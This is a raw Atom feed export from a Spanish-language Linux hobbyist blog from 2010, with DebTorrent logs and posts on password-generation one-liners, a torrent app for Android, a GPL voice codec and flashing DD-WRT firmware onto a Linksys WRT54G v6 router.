DebTorrent.HTTPCache INFO cache up to date and so is request: /var/cache/debtorrent/ftp.us.debian.org/debian/dists/experimental/Release  ==&amp;gt; /var/log/debtorrent/apt-access.log &amp;lt;== 192.168.10.166 - - [05/Oct/2010:23:33:24] "GET /ftp.us.debian.org/debian/dists/sid/main/i18n/Translation-en.bz2 DEBTORRENT/0.2" 404 325 "-" "Debian APT-DEBTORRENT/0.2 (0.2)" 192.168.10.166 - - [05/Oct/2010:23:33:32] "GET /ftp.us.debian.org/debian/dists/experimental/Release DEBTORRENT/0.2" 304 0 "-" "Debian APT-DEBTORRENT/0.2 (0.2)"  ==&amp;gt; /var/log/debtorrent/debtorrent-client.log &amp;lt;== 2010-10-05 23:33:32,294 MainThread DebTorrent.HTTPHandler INFO sending response: DEBTORRENT 304 Not Modified (0 bytes){'Pragma': 'no-cache', 'Server': 'DebTorrent/T-0.1.9'} 2010-10-05 23:33:32,311 MainThread DebTorrent.HTTPCache INFO download completed for: http://ftp.us.debian.org/debian/dists/sid/non-free/i18n/Translation-en.bz2 2010-10-05 23:33:32,312 MainThread DebTorrent.HTTPHandler INFO sending response: DEBTORRENT 404 Not Found (329 bytes){'content-type': 'text/html; charset=iso-8859-1', 'Server': 'DebTorrent/T-0.1.9'} 2010-10-05 23:33:32,316 MainThread DebTorrent.HTTPHandler INFO 17: DEBTORRENT GET /ftp.us.debian.org/debian/dists/sid/main/binary-i386/Packages.diff/Index DEBTORRENT/0.2 2010-10-05 23:33:32,323 MainThread DebTorrent.HTTPHandler INFO sending response: DEBTORRENT 404 Not Found (65 bytes){'Content-Type': 'text/plain', 'Pragma': 'no-cache', 'Server': 'DebTorrent/T-0.1.9'} 2010-10-05 23:33:32,324 MainThread DebTorrent.HTTPHandler INFO 18: DEBTORRENT GET /ftp.us.debian.org/debian/dists/sid/contrib/binary-i386/Packages.diff/Index DEBTORRENT/0.2 2010-10-05 23:33:32,326 MainThread DebTorrent.HTTPHandler INFO sending response: DEBTORRENT 404 Not Found (65 bytes){'Content-Type': 'text/plain', 'Pragma': 'no-cache', 'Server': 'DebTorrent/T-0.1.9'} 2010-10-05 23:33:32,327 MainThread DebTorrent.HTTPHandler INFO 19: DEBTORRENT GET /ftp.us.debian.org/debian/dists/sid/non-free/binary-i386/Packages.diff/Index DEBTORRENT/0.2 2010-10-05 23:33:32,337 MainThread DebTorrent.HTTPHandler INFO sending response: DEBTORRENT 404 Not Found (65 bytes){'Content-Type': 'text/plain', 'Pragma': 'no-cache', 'Server': 'DebTorrent/T-0.1.9'} 2010-10-05 23:33:32,367 MainThread DebTorrent.HTTPHandler INFO 20: DEBTORRENT GET /ftp.us.debian.org/debian/dists/sid/main/binary-i386/Packages.bz2 DEBTORRENT/0.2 2010-10-05 23:33:39,458 MainThread DebTorrent.HTTPCache INFO cache up to date and so is request: /var/cache/debtorrent/ftp.us.debian.org/debian/dists/sid/main/binary-i386/Packages.bz2&lt;/div&gt;&lt;br /&gt;También&amp;nbsp;tenemos una linda interfaz web que podemos acceder para ver estadisticas al &lt;span class="Apple-style-span" style="color: lime;"&gt;http://host_servidor:9988&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-3918414330062003507?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/3918414330062003507/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/10/apt-get-con-torrent.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3918414330062003507'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3918414330062003507'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/10/apt-get-con-torrent.html' title='Apt-get con torrent'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-5163005840434482370</id><published>2010-09-29T19:26:00.000-07:00</published><updated>2010-09-29T19:26:15.606-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><title type='text'>Generando passwords de 32 caracteres de largo</title><content type='html'>La forma mas simple en la cual la semilla es la fecha actual del sistema, poca entropia...&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$date | md5sum&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;siguiente forma hash sha25 codificado en base64&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$date +%s | sha256sum | base64 | head -c 32 ; echo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Podemos redirigir /dev/urandom que es el chardev generador de numeros pseudoaleatorio a la entrada del head&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$$ &amp;lt; /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-32};echo;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O podemos usar la utilidad del openssl para generar nuestro password aleatorio&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$openssl rand -base64 32&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O la tradicional herramienta mkpasswd&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$mkpasswd -m md5 -s /dev/urandom | tail -c32&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O podemos usar un generador de passwords recordables y pronunciables&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$makepasswd --char=32&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-5163005840434482370?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/5163005840434482370/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/09/generando-passwords-de-32-caracteres-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5163005840434482370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5163005840434482370'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/09/generando-passwords-de-32-caracteres-de.html' title='Generando passwords de 32 caracteres de largo'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-2441002896082636715</id><published>2010-09-26T21:21:00.000-07:00</published><updated>2010-09-26T21:22:52.357-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gpl'/><category scheme='http://www.blogger.com/atom/ns#' term='rtorrent'/><category scheme='http://www.blogger.com/atom/ns#' term='transmission'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Transdroid</title><content type='html'>&lt;a href="http://code.google.com/p/transdroid/"&gt;Transdroid&lt;/a&gt; es un manejador Torrent multi cliente para Android licenciado bajos los terminos de la licencia &lt;a href="http://www.gnu.org/licenses/gpl.html"&gt;gplv3&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/__2CpOkNZ4-k/TKAYFBQCgfI/AAAAAAAAAUg/yPTzvYZOCd8/s1600/transdroid-screenshot-0.21.0-main.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://4.bp.blogspot.com/__2CpOkNZ4-k/TKAYFBQCgfI/AAAAAAAAAUg/yPTzvYZOCd8/s400/transdroid-screenshot-0.21.0-main.png" width="266" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Actualmente soporta &lt;a href="http://www.transmissionbt.com/"&gt;Transmission&lt;/a&gt;, &lt;a href="http://deluge-torrent.org/"&gt;deludge&lt;/a&gt;, &lt;a href="http://azureus.sourceforge.net/"&gt;Azureus&lt;/a&gt;, &lt;a href="http://libtorrent.rakshasa.no/"&gt;rtorrent&lt;/a&gt; y otro privativo que no lo voy a nombrar...&lt;br /&gt;También&amp;nbsp;soporta agregado mediante la busqueda inteligente,&lt;a href="http://es.wikipedia.org/wiki/RSS"&gt;RSS&lt;/a&gt; o &lt;a href="http://es.wikipedia.org/wiki/Localizador_uniforme_de_recursos"&gt;URL&lt;/a&gt; de torrents.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://transdroid.googlecode.com/files/transdroid-0.22.0.apk"&gt;Aquí&lt;/a&gt;&amp;nbsp;les dejo el link para descargarlo.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/__2CpOkNZ4-k/TKAbt0JD4UI/AAAAAAAAAUk/ZjNqjJprjPA/s1600/chart.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/__2CpOkNZ4-k/TKAbt0JD4UI/AAAAAAAAAUk/ZjNqjJprjPA/s1600/chart.png" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-2441002896082636715?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/2441002896082636715/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/09/transdroid.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2441002896082636715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2441002896082636715'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/09/transdroid.html' title='Transdroid'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/__2CpOkNZ4-k/TKAYFBQCgfI/AAAAAAAAAUg/yPTzvYZOCd8/s72-c/transdroid-screenshot-0.21.0-main.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-2495982249719138372</id><published>2010-09-24T17:08:00.000-07:00</published><updated>2010-09-24T17:08:57.936-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>One Day on Earth</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/__2CpOkNZ4-k/TJ05iHWfxAI/AAAAAAAAAUc/jdWZUgIYY5U/s1600/n90364944233_3473.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/__2CpOkNZ4-k/TJ05iHWfxAI/AAAAAAAAAUc/jdWZUgIYY5U/s1600/n90364944233_3473.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.onedayonearth.org/"&gt;One day un earth&lt;/a&gt; es un proyecto patrocinado por el &lt;a href="http://www.undp.org/"&gt;Programa de las Naciones Unidas para el Desarrollo&lt;/a&gt;, &lt;a href="http://www.redcross.org/"&gt;Cruz Roja Americana&lt;/a&gt; y otros.&lt;br /&gt;Este proyecto fue fundado en el año 2008 y ya cuenta con una comunidad de 7800 miembros.&lt;br /&gt;La idea del proyecto es que en el&amp;nbsp;día&amp;nbsp;10.10.10 se documenten 24 horas seguidas de experiencia humana al rededor del mundo.&lt;br /&gt;&lt;br /&gt;Cito lo siguiente de la pagina del proyecto:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Los principios fundadores de "One Day on Earth"&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Perspectiva&lt;/b&gt;: Estamos creando una cápsula del tiempo para que el mundo entero se entienda mejor a sí mismo.&lt;br /&gt;Queremos descubrir quiénes somos como seres humanos porque beneficia a nuestra sostenibilidad.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Inclusividad&lt;/b&gt;: El proyecto es gratuito y está abierto a todas las personas, culturas, creencias y nacionalidades.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Individualidad&lt;/b&gt;: Estamos aquí para potenciar tu voz. Es una celebración de creencias, expresión y perspectiva individuales.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Comunidad&lt;/b&gt;: Conectamos a las personas a través de sus diferencias y también de sus similitude. Apoyamos colaboraciones futuras entre los participantes.&lt;br /&gt;Nos esforzamos por crear una comunidad donde existe apoyo mutuo.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Educación&lt;/b&gt;: Trabajaremos por apoyar a cualquier institución educativa que quiera participar en el proyecto con las herramientas necesarias.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Tecnología&lt;/b&gt;: Incorporaremos siempre cualquier tecnología que nos ayude a seguir siendo fieles a nuestros principios y a plasmar una imagen más acertada del mundo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mi &lt;a href="http://www.onedayonearth.org/profile/daedalus"&gt;perfil&lt;/a&gt;&amp;nbsp;en One Day on Earth.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-2495982249719138372?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/2495982249719138372/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/09/one-day-on-earth.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2495982249719138372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2495982249719138372'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/09/one-day-on-earth.html' title='One Day on Earth'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/__2CpOkNZ4-k/TJ05iHWfxAI/AAAAAAAAAUc/jdWZUgIYY5U/s72-c/n90364944233_3473.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8673888764700582468</id><published>2010-09-23T17:16:00.000-07:00</published><updated>2010-09-23T17:21:02.142-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gpl'/><category scheme='http://www.blogger.com/atom/ns#' term='voip'/><title type='text'>Codec2: nuevo codec GPL</title><content type='html'>Leyendo me entere que fue liberado un nuevo codec &lt;a href="http://www.gnu.org/licenses/gpl.html"&gt;GPL&lt;/a&gt; que tiene una tasa de&amp;nbsp;compresión&amp;nbsp;interesante comprime entre 2400 bit/s y 2550 bit/s trabajando en el rango de los 4khz con una paquetizacion de 51 bits por frame y 20ms frame rate&lt;br /&gt;&lt;br /&gt;El codec fue pensado para ser utilizado con circuitos VHF/UHF y poder interfacear estos a un asterisk.&lt;br /&gt;Este codec funciona utilizando la codificación armónica sinusoidal la cual es simplemente una sucesión de armónicos que están desfasados en fase y amplitud contra una frecuencia central.&lt;br /&gt;&lt;br /&gt;Para poder probar este codec solo tenemos que hacer lo siguiente&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git svn clone &lt;/span&gt;&lt;a href="https://freetel.svn.sourceforge.net/svnroot/freetel/codec2"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;https://freetel.svn.sourceforge.net/svnroot/freetel/codec2&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt; codec2&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$make&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$ ./c2enc ../raw/hts1a.raw hts1a_c2.bit&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$ ./c2dec hts1a_c2.bit hts1a_c2.r&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fuente [&lt;a href="http://www.rowetel.com/blog/?page_id=452"&gt;http://www.rowetel.com/blog/?page_id=452&lt;/a&gt;]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8673888764700582468?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8673888764700582468/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/09/codec2-nuevo-codec-gpl.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8673888764700582468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8673888764700582468'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/09/codec2-nuevo-codec-gpl.html' title='Codec2: nuevo codec GPL'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-451332907090808797</id><published>2010-09-19T19:40:00.000-07:00</published><updated>2010-09-19T19:43:08.608-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='dd-wrt'/><title type='text'>dd-wrt en Linksys wtr54gv6</title><content type='html'>Tenia tirado un wrt54gv6 y&amp;nbsp;decidí&amp;nbsp;brickearlo total...&amp;nbsp;así&amp;nbsp;que me puse a investigar&amp;nbsp;&amp;nbsp;y como ya habia flasheado anteriormente el &lt;a href="http://dclavijo.blogspot.com/2009/04/mi-nuevo-hardware.html"&gt;ubiquiti bullet&lt;/a&gt;, le&amp;nbsp;metí&amp;nbsp;mano...&lt;br /&gt;&lt;br /&gt;Este dispositivo tiene solamente tiene 8mb de ram y 2mb de flash, por lo cual openwrt no entra por que pesa unos 4mb.&lt;br /&gt;Pero si cabe el dd-wrt que tiene una&amp;nbsp;versión&amp;nbsp;micro solo con el kernel y un busybox pero que no tiene ni el comando ls,dmesg,etc pero si una linda interfaz web, bien pensada para el end-user.&lt;br /&gt;&lt;br /&gt;Así&amp;nbsp;que recabados todos esos datos me puse manos a la obra&lt;br /&gt;&lt;br /&gt;En la pagina de dd-wrt en la seccion de downloads&amp;nbsp;encontré&amp;nbsp;la&amp;nbsp;sección&amp;nbsp;sobre esta version del &lt;a href="http://en.wikipedia.org/wiki/Wrt54g#Hardware_revisions"&gt;hardware&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Descargamos:&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$wget &lt;a href="http://dd-wrt.com/routerdb/de/download/Linksys/WRT54G/v6.0/vxworks_killer_v04.zip/2101"&gt;http://dd-wrt.com/routerdb/de/download/Linksys/WRT54G/v6.0/vxworks_killer_v04.zip/2101&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$wget &lt;a href="http://dd-wrt.com/routerdb/de/download/Linksys/WRT54G/v6.0/vxworks_prep_v03.zip/2102"&gt;http://dd-wrt.com/routerdb/de/download/Linksys/WRT54G/v6.0/vxworks_prep_v03.zip/2102&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$wget&amp;nbsp;&lt;a href="http://dd-wrt.com/routerdb/de/download/Linksys/WRT54G/v6.0/dd-wrt.v24_micro_olsrd_generic.bin/1960"&gt;http://dd-wrt.com/routerdb/de/download/Linksys/WRT54G/v6.0/dd-wrt.v24_micro_olsrd_generic.bin/1960&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego descomprimimos los zip:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$unzip *.zip&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego subimos el primer archivo &lt;span class="Apple-style-span" style="color: lime;"&gt;vxworks_prep_v03.bin&lt;/span&gt; mediante la interfaz web que esta en: &lt;b&gt;Firmware Upgrade -&amp;gt;&amp;nbsp;Admin -&amp;gt;&lt;/b&gt;&amp;nbsp;&lt;a href="http://192.168.1.1/"&gt;http://192.168.1.1&lt;/a&gt; &amp;nbsp;, es importante que subamos este archivo y no otro podemos dejar el router brickeado si no lo hacemos bien.&lt;br /&gt;Cuando quede cargado por completo nos&amp;nbsp;aparecerá&amp;nbsp;una pantalla en blanco conteniendo la palabra "Success".&lt;br /&gt;Luego reiniciamos el router.&lt;br /&gt;&lt;br /&gt;Luego repetimos este paso pero para el archivo&amp;nbsp;&lt;span class="Apple-style-span" style="color: lime;"&gt;vxworks_killer_v04.bin&lt;/span&gt; es importante que lo hagamos tal cual. reiniciando el routrer al final.&lt;br /&gt;&lt;br /&gt;Si todo va bien ya podemos subir por tftp el nuevo firmware con:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$/bin/echo -e "mode binary\ntrace\nverbose\nrxmt 60\nput dd-wrt.v24_micro_olsrd_generic.bin" | tftp 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Donde:&amp;nbsp;&lt;/div&gt;&lt;div&gt;*mode binary significa que tiene que mandar los datos en octetos de 8 bits,&amp;nbsp;&lt;/div&gt;&lt;div&gt;*trace muestra una traza de cada paquete enviado.&lt;/div&gt;&lt;div&gt;*Put indica que el tftp tiene que subir el archivo&amp;nbsp;&amp;nbsp;dd-wrt.v24_micro_olsrd_generic.bin&lt;/div&gt;&lt;div&gt;*Entre cada parametro hay un \n que significa salto de linea.&lt;/div&gt;&lt;div&gt;*Luego el pipe "|" pasa estos parametros al comando "tftp 192.168.1.1"&lt;/div&gt;&lt;br /&gt;Si todo va bien&amp;nbsp;tendríamos&amp;nbsp;que ver lo siguiente:&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Sent 1769472 bytes in 2.0 seconds&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Luego reiniciamos el router y entramos por telnet con usuario: &lt;span class="Apple-style-span" style="color: lime;"&gt;root&lt;/span&gt; y pass: &lt;span class="Apple-style-span" style="color: lime;"&gt;admin&lt;/span&gt; para verificar que la subida fue exitosa y veremos:&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$telnet 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;div class="code"&gt;Trying 192.168.1.1...&lt;br /&gt;Connected to 192.168.1.1.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;DD-WRT v24-sp2 micro (c) 2010 NewMedia-NET GmbH&lt;br /&gt;Release: 08/07/10 (SVN revision: 14896)&lt;br /&gt;&lt;br /&gt;DD-WRT login: root&lt;br /&gt;Password:&lt;br /&gt;==========================================================&lt;br /&gt;&lt;br /&gt;&amp;nbsp;____ &amp;nbsp;___ &amp;nbsp; &amp;nbsp;__ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;______ _____ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ____ &amp;nbsp;_ &amp;nbsp;_&lt;br /&gt;&amp;nbsp;| _ \| _ \ &amp;nbsp; \ \ &amp;nbsp; &amp;nbsp; &amp;nbsp;/ / &amp;nbsp;_ \_ &amp;nbsp; _| __ &amp;nbsp; _|___ \| || |&lt;br /&gt;&amp;nbsp;|| | || ||____\ \ /\ / /| |_) || | &amp;nbsp; \ \ / / __) | || |_&lt;br /&gt;&amp;nbsp;||_| ||_||_____\ V &amp;nbsp;V / | &amp;nbsp;_ &amp;lt; | | &amp;nbsp; &amp;nbsp;\ V / / __/|__ &amp;nbsp; _|&lt;br /&gt;&amp;nbsp;|___/|___/ &amp;nbsp; &amp;nbsp; &amp;nbsp;\_/\_/ &amp;nbsp;|_| \_\|_| &amp;nbsp; &amp;nbsp; \_/ |_____| &amp;nbsp;|_|&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DD-WRT v24-sp2&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; http://www.dd-wrt.com&lt;br /&gt;&lt;br /&gt;==========================================================&lt;br /&gt;&lt;br /&gt;BusyBox v1.13.4 (2010-08-07 03:20:30 CEST) built-in shell (ash)&lt;br /&gt;Enter 'help' for a list of built-in commands.&lt;/div&gt;&lt;br /&gt;Podemos ver la informacion del procesador:&lt;br /&gt;&lt;br /&gt;\u@\h:\w\$ cat /proc/cpuinfo&lt;br /&gt;&lt;div class="code"&gt;system type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : Broadcom BCM5352 chip rev 0&lt;br /&gt;processor &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : 0&lt;br /&gt;cpu model &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : BCM3302 V0.8&lt;br /&gt;BogoMIPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: 199.47&lt;br /&gt;wait instruction &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: no&lt;br /&gt;microsecond timers &amp;nbsp; &amp;nbsp; &amp;nbsp;: yes&lt;br /&gt;tlb_entries &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : 32&lt;br /&gt;extra interrupt vector &amp;nbsp;: no&lt;br /&gt;hardware watchpoint &amp;nbsp; &amp;nbsp; : no&lt;br /&gt;VCED exceptions &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : not available&lt;br /&gt;VCEI exceptions &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : not available&lt;br /&gt;\u@\h:\w\$&lt;/div&gt;&lt;br /&gt;Luego por ultimo vamos a &lt;a href="http://192.168.1.1/"&gt;http://192.168.1.1&lt;/a&gt; donde accedemos con root/admin, y tendremos que cambiar ese pass.&lt;br /&gt;Voila: Linux: +1&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-451332907090808797?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/451332907090808797/comments/default' title='Enviar comentarios'/><link rel='replies' 